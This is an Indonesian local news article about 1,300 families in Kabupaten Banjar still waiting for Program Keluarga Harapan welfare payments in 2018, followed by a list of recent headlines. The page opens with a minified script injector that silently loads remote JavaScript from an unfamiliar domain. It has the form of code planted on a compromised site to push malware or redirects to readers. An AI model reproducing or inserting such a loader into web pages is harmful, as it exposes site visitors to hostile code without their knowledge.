(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Sebanyak 1.300 KPM Belum Terima Bantuan Program Keluarga Harapan


MARTAPURA, Dari 14.589 Keluarga Penerima Manfaat (KPM) program Keluarga Harapan (PKH) di Kabupaten Banjar, sekitar 1.300 KPM di antaranya belum menerima bantuan. Hal ini disampaikan Kepala Bidang Perlindungan dan Jaminan Sosial Dinsos Kabupaten Banjar Adi Kusuma Wijaya, Jumat (27/7).

Menurut Adi, saat ini penerima KPM penyalurannya sudah masuk sampai tahap ketiga. Khusus Kabupaten Banjar, total penerima mencapai 14.589 KPM.

“Saat ini penyaluran sudah sampai tahap ketiga di 2018. Tapi di antaranya memang masih ada yang bermasalah dalam artian belum menerima dana dari triwulan satu dan ini sudah memasuki tahap tiga,” jelasnya.

PKH merupakan program dari Kementerian Sosial RI dalam membantu daerah untuk pengentasan kemiskinan dan meningkatkan kualitas hidup masyarakat. Bantuan PKH merupakan perwujutan dari program nasional untuk meningkatkan kondisi sosial ekonomi KPM, meningkatkan taraf pendidikan anak-anak usia sekolah, serta meningkatkan status gizi ibu hamil dan balita.

Dalam penyaluran PKH yang telah memasuki tahap tiga tersebut,  adapun kendala yang dihadapi hingga sampai saat ini adalah belum menerimanya KPM untuk PKH itu. Sehingga pihaknya pun terus mengupayakan agar permasalahan tersebut bisa di atasi.

Menurut Adi tidak terserapnya KPM terhadap bantuan pendanaan dalam PKH tersebut, dikarenakan sebagian orang masih belum memiliki kartu. Selain itu ada yang memiliki kartu namun tidak ada saldo. Karena sebagaimana diketahui, kartu KKS untuk PKH sekaligus kartu debit dari bank penyedia yang telah bekerjasama dengan pemerintah pusat.

Pihaknya pun sudah melaporkan hal tersebut ke kementrian sosial. Sebagaimana diketahui oleh Adi, kendala yang menimpa Kabupaten Banjar kali ini juga dialami oleh kabupaten lain. Ia mengatakan beberapa daerah juga mengalami permasalahan serupa. Terlebih PKH merupakan program nasional.

Tentunya, masyarakat yang belum mendapatkan PKH itu pun dikatakan Adi sudah mengetahui alasan tersebut. Diterangkan olehnya pendamping PKH sudah memberikan pemahaman dan pemberitahuan kenapa uang PKH belum keluar. (rendy)

Reporter : Rendy
Editor : Chell

Desy Arfianty

Recent Posts

2026 Kemendikdasmen Revitalisasi 11.744 Satuan Pendidikan, Kalsel Kebagian Rp232,9 M di 2025

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More

1 jam ago

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

15 jam ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

16 jam ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

18 jam ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

22 jam ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

22 jam ago

This website uses cookies.